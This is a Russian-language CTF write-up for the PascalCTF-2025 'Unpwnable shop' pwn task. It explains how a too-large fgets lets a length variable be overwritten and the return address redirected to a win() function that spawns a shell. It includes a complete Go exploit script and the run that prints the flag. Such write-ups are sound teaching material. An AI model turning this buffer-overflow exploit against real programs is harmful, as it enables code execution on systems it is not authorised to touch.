Содержание

Unpwnable shop - PascalCTF-2025 - Pwn

Описание
You can try to pwn us, but my cousin already tried it and he says it’s impossible!

Файлы
task.zip

Декомпилируем исполняемый бинарный файл unpwnable в программе IDA и поишем что-нибудь, что может привести к получению флага.

Есть функция win, которая запускает оболочку shell:

__int64 win()
{
  return execve("/bin/sh", 0LL, 0LL);
}

Функиця win нигде не используется. Нужно посмотреть можно ли каким-то образом вызвать эту функцию.

Посмотрим на функцию main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // edx
  int v4; // ecx
  int v5; // r8d
  int v6; // r9d
  int v7; // edx
  int v8; // ecx
  int v9; // r8d
  int v10; // r9d
  int v12; // [rsp+Ch] [rbp-54h] BYREF
  char v13[76]; // [rsp+10h] [rbp-50h] BYREF
  unsigned int v14; // [rsp+5Ch] [rbp-4h]

  ssignal(14LL, handle_alarm, envp);
  alarm(30LL);
  init();
  v14 = 81;
  puts("Welcome to Unpwnable shop!\n***Now with support for abnormally long usernames!!1!***");
  puts("To continue insert your name (don't even think about overwriting some return addresses, you can't lmao) :");
  fgets(v13, 81LL, stdin);
  printf((unsigned int)"Welcome to the shop %s\n\n\n", (unsigned int)v13, v3, v4, v5, v6);
  printMenu();
  _isoc99_scanf((unsigned int)"%d", (unsigned int)&v12, v7, v8, v9, v10);
  getchar();
  if ( v12 )
  {
    puts("finding stuff to sell...");
    sleep(1LL);
    if ( v12 == 69 )
    {
      puts("What was your name again? I forgot it.");
      fgets(v13, v14, stdin);
      puts("Ok, just hold on while i finish searching.");
      sleep(2LL);
    }
    puts("didn't find anything :(");
  }
  puts("Bye!");
  return 0;
}

Есть буфер v13 размером 76 байтов. Хотя читается 81 байт функцией fgets.
Значит можно перезаписать следующие 5 байт в память, которая расположена после v13, т.е переменную v14.
Переопределение переменной v14 позволяет записать в v13 и далее по памяти любое количество данных в fgets(v13, v14, stdin);.

v13 находится на стеке. Что находится после указателя на v13 в сторону увеличения адресов (т.е. в сторону уменьшения стека, к.т. программный стек растет вниз)?

Примерная схема расположения данных в стеке:

Высокие адреса
+---------------------+
| return address      |  <- [rbp+8]
+---------------------+
| saved RBP           |  <- [rbp]
+---------------------+
| v14 (4 bytes)       |  <- [rbp-4]
+---------------------+
| v13[76] (76 bytes)  |  <- [rbp-0x50]
+---------------------+
| v12 (4 bytes)       |  <- [rbp-0x54]
+---------------------+
Низкие адреса

Если перезаписать адрес возврата return address функцией win, то при выходе из фунции main будет вызвана функция win.
Для этого нужно записать в v13 76+4+8+8=96 байт.

Адрес функции win можно узнать с помощью objdump:

❯ objdump -t ./unpwnable | grep --word-regexp "win"
0000000000402f65 g     F .text	0000000000000020 win

В целом понятно что делать. Осталось только реализовать.

Алгоритм:

  • Вводим 80 байт, перзаписывая v14 значением 96.
  • Вводим строку “69”, чтобы сервер переспросил имя.
  • Вводим 96 байт, перезаписывая значение RBP указателем на функцию win.
  • Получаем доступ к терминалу и вводим произвольные команды для поиска флага.

Напишем программу на языке Go. Основная часть:

func main() {
	conn, err := net.Dial("tcp", "127.0.0.1:1338")
	checkErr(err)
	defer conn.Close()

	var input bytes.Buffer

	_ = readAll(conn, "To continue insert your name .* :")

	name := strings.Repeat("a", 76)
	nameBufferLen := uint32(76 + 4 + 8 + 8) // sizeof(name) + sizeof(nameBufferLen) + sizeof(padding) + sizeof(winPointer)
	input.WriteString(name)
	_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
	input.WriteString(" ")
	write(conn, &input)

	_ = readAll(conn, "Market menu:")

	input.WriteString("69\n")
	write(conn, &input)

	_ = readAll(conn, `I forgot it`)

	padding := uint64(0)                     // saved RBP
	winPointer := uint64(0x0000000000402F65) // return address

	input.WriteString(name)
	_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
	_ = binary.Write(&input, binary.LittleEndian, padding)
	_ = binary.Write(&input, binary.LittleEndian, winPointer)
	input.WriteString("\n")
	write(conn, &input)

	_ = readAll(conn, "")

	input.WriteString("cat flag.txt\n")
	write(conn, &input)

	_ = readAll(conn, "pascalCTF{.*}")
}

Программа целиком:

package main

import (
	"bytes"
	"encoding/binary"
	"fmt"
	"io"
	"log"
	"net"
	"regexp"
	"strings"
	"time"
)

func checkErr(err error) {
	if err != nil {
		log.Fatal(err)
	}
}

func readAll(conn net.Conn, pattern string) []string {
	err := conn.SetReadDeadline(time.Now().Add(5 * time.Second))
	checkErr(err)

	var buf bytes.Buffer
	bufTmp := make([]byte, 1024)

	defer func() {
		fmt.Printf("%s", buf.String())
	}()

	for {
		n, err := conn.Read(bufTmp)
		if err != nil {
			if pattern != "" {
				log.Fatalf("Cannot read: %q", pattern)
			}
			break
		}

		buf.Write(bufTmp[:n])

		if pattern != "" {
			re := regexp.MustCompile(pattern)
			res := re.FindStringSubmatch(buf.String())

			if len(res) > 0 {
				return res[1:]
			}
		}
	}

	return nil
}

func write(conn net.Conn, input *bytes.Buffer) {
	fmt.Printf("%s", input.String())

	_, err := io.Copy(conn, input)
	checkErr(err)

	if input.Len() != 0 {
		log.Fatalf("Cannot write all: %v", input.Len())
	}
}

func main() {
	conn, err := net.Dial("tcp", "127.0.0.1:1338")
	checkErr(err)
	defer conn.Close()

	var input bytes.Buffer

	_ = readAll(conn, "To continue insert your name .* :")

	name := strings.Repeat("a", 76)
	nameBufferLen := uint32(76 + 4 + 8 + 8) // sizeof(name) + sizeof(nameBufferLen) + sizeof(padding) + sizeof(winPointer)
	input.WriteString(name)
	_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
	input.WriteString(" ")
	write(conn, &input)

	_ = readAll(conn, "Market menu:")

	input.WriteString("69\n")
	write(conn, &input)

	_ = readAll(conn, `I forgot it`)

	padding := uint64(0)                     // saved RBP
	winPointer := uint64(0x0000000000402F65) // return address

	input.WriteString(name)
	_ = binary.Write(&input, binary.LittleEndian, nameBufferLen)
	_ = binary.Write(&input, binary.LittleEndian, padding)
	_ = binary.Write(&input, binary.LittleEndian, winPointer)
	input.WriteString("\n")
	write(conn, &input)

	_ = readAll(conn, "")

	input.WriteString("cat flag.txt\n")
	write(conn, &input)

	_ = readAll(conn, "pascalCTF{.*}")
}

Запускаем программу:

❯ go run ./main.go
Welcome to Unpwnable shop!
***Now with support for abnormally long usernames!!1!***
To continue insert your name (don't even think about overwriting some return addresses, you can't lmao) :
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa` Welcome to the shop aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`


 █    ██  ███▄    █  ██▓███   █     █░███▄    █  ▄▄▄       ▄▄▄▄    ██▓    ▓█████      ██████  ██░ ██  ▒█████   ██▓███
 ██  ▓██▒ ██ ▀█   █ ▓██░  ██▒▓█░ █ ░█░██ ▀█   █ ▒████▄    ▓█████▄ ▓██▒    ▓█   ▀    ▒██    ▒ ▓██░ ██▒▒██▒  ██▒▓██░  ██▒
▓██  ▒██░▓██  ▀█ ██▒▓██░ ██▓▒▒█░ █ ░█▓██  ▀█ ██▒▒██  ▀█▄  ▒██▒ ▄██▒██░    ▒███      ░ ▓██▄   ▒██▀▀██░▒██░  ██▒▓██░ ██▓▒
▓▓█  ░██░▓██▒  ▐▌██▒▒██▄█▓▒ ▒░█░ █ ░█▓██▒  ▐▌██▒░██▄▄▄▄██ ▒██░█▀  ▒██░    ▒▓█  ▄      ▒   ██▒░▓█ ░██ ▒██   ██░▒██▄█▓▒ ▒
▒▒█████▓ ▒██░   ▓██░▒██▒ ░  ░░░██▒██▓▒██░   ▓██░ ▓█   ▓██▒░▓█  ▀█▓░██████▒░▒████▒   ▒██████▒▒░▓█▒░██▓░ ████▓▒░▒██▒ ░  ░
░▒▓▒ ▒ ▒ ░ ▒░   ▒ ▒ ▒▓▒░ ░  ░░ ▓░▒ ▒ ░ ▒░   ▒ ▒  ▒▒   ▓▒█░░▒▓███▀▒░ ▒░▓  ░░░ ▒░ ░   ▒ ▒▓▒ ▒ ░ ▒ ░░▒░▒░ ▒░▒░▒░ ▒▓▒░ ░  ░
░░▒░ ░ ░ ░ ░░   ░ ▒░░▒ ░       ▒ ░ ░ ░ ░░   ░ ▒░  ▒   ▒▒ ░▒░▒   ░ ░ ░ ▒  ░ ░ ░  ░   ░ ░▒  ░ ░ ▒ ░▒░ ░  ░ ▒ ▒░ ░▒ ░
 ░░░ ░ ░    ░   ░ ░ ░░         ░   ░    ░   ░ ░   ░   ▒    ░    ░   ░ ░      ░      ░  ░  ░   ░  ░░ ░░ ░ ░ ▒  ░░
   ░              ░              ░            ░       ░  ░ ░          ░  ░   ░  ░         ░   ░  ░  ░    ░ ░




Market menu:
[0] Exit
[1] Buy amazing stuff
69
finding stuff to sell...
What was your name again? I forgot it.aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa`e/@

Ok, just hold on while i finish searching.
didn't find anything :(
Bye!
cat flag.txt
pascalCTF{N0O0o0o@O0_Hòw_D1D_Y0U_D0_17}%

Получили флаг pascalCTF{N0O0o0o@O0_Hòw_D1D_Y0U_D0_17}

Похожее